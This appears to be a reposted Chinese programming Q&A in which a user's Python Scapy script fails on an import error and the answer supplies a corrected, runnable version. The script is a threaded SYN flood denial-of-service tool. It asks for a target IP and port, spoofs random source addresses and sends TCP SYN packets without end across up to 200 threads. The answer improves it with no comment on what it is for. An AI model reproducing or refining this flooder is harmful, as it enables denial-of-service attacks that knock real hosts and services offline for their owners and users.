首页 / PYTHON / Scapy在Python脚本中
Scapy在Python脚本中
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Scapy在Python脚本中,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含3684字,纯文字阅读大概需要6分钟。
内容图文
我正在用Python编写一个使用Scapy的脚本,但我的问题是例外是:
i = IP()
NameError: global name ‘IP’ is not defined
这是我的脚本:
import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")
class sendSYN(threading.Thread):
global ip, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Method -
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = ip
t = TCP()
t.sport = random.randint(1, 65535)
t.dport = port
t.flags = 'S'
send(i/t, verbose=0)
count = 0
while True:
if threading.activeCount() < 200:
sendSYN().start()
count += 1
if count % 100 == 0:
print ("\rPackets SYN\t:\t\t\t%i" % count)
我该怎么做才能解决这个问题?
解决方法:
导入IP / TCP
您可以直接从scapy.layers.* subpackage导入scapy提供的所有图层.这很好,只要你不需要任何其他功能,如send / sendp / sniff / …或者你需要一些非常神奇的层,如ASN.1失败并引发异常,如果一些全局初始化通常通过导入设置scapy.all失踪了.
IP()和TCP()的具体导入(检查你的scapy / layers / inet.py)
from scapy.layers.inet import IP, TCP
只要您只使用它们进行去/序列化(例如组装/反汇编数据包)就足够了,但由于您还需要send(),您必须导入scapy.all,如Semih Yagcioglu建议的那样.
请注意,根据scapy manual,导入行从scapy import *(scapy v1.x)更改为scapy.all import *(因为scapy v2.x)因此以下内容应该没问题:
from scapy.all import send, IP, TCP
请注意,导入scapy.all非常慢,因为它通配符导入所有子包并执行一些初始化魔术.
也就是说,你应该尽量避免不必要的通配符导入(编码风格;即使scapy没有太大区别)
from scapy.all import *
python 2.7
scapy v2.3.1与linux上的python 2.7兼容.
然而,让它在Windows上完全正常运行并不是一件轻而易举的事,请参阅problems with scapy on windows,特别是在phys wifi nics发送数据包时.通常windows人员使用scapy 2.3.1运行python2.6(请注意,当scapy尝试生成时可能存在权限问题某些Windows版本上的套接字访问).为了避免一些麻烦,我强烈建议在linux上运行它(vbox很好).
代码的工作示例
以下代码在linux上运行正常,py2.7 scapy 2.3.1:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')
class sendSYN(threading.Thread):
def __init__(self, target):
threading.Thread.__init__(self)
self.ip, self.port = target
def run(self):
pkt = IP(src=RandIP(),
dst=self.ip)/TCP(flags='S',
dport=self.port,
sport=random.randint(0,65535))
send(pkt)
logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))
if __name__=='__main__':
conf.verb = 0 # suppress output
print ("Which Interface would you like to choose? %r"%get_if_list())
iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
conf.iface = iface
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = int(raw_input("-->"))
count = 0
while True:
if threading.activeCount() < 200:
sendSYN((ip, port)).start()
count += 1
if count % 100 == 0:
logging.info ("\rPackets SYN\t:\t\t\t%i" % count)
>固定进口
>使用日志而不是打印
>将目标传递给类实例而不是使用全局变量
>添加了界面选择(必须为Windows使用scapy使用linux和windows的linux样式接口名称,这就是为什么你可能不得不为windows猜测正确的界面名称)
>全球范围内设置scapy详细程度
>使用RandIP()字段而不是手动构建随机IP
> TCP.sport/dport需要一个整数,因此你必须解析从stdin读取的值.
>使用snprintf()打印发送的数据包IP /端口
内容总结
以上是互联网集市为您收集整理的Scapy在Python脚本中全部内容,希望文章能够帮你解决Scapy在Python脚本中所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。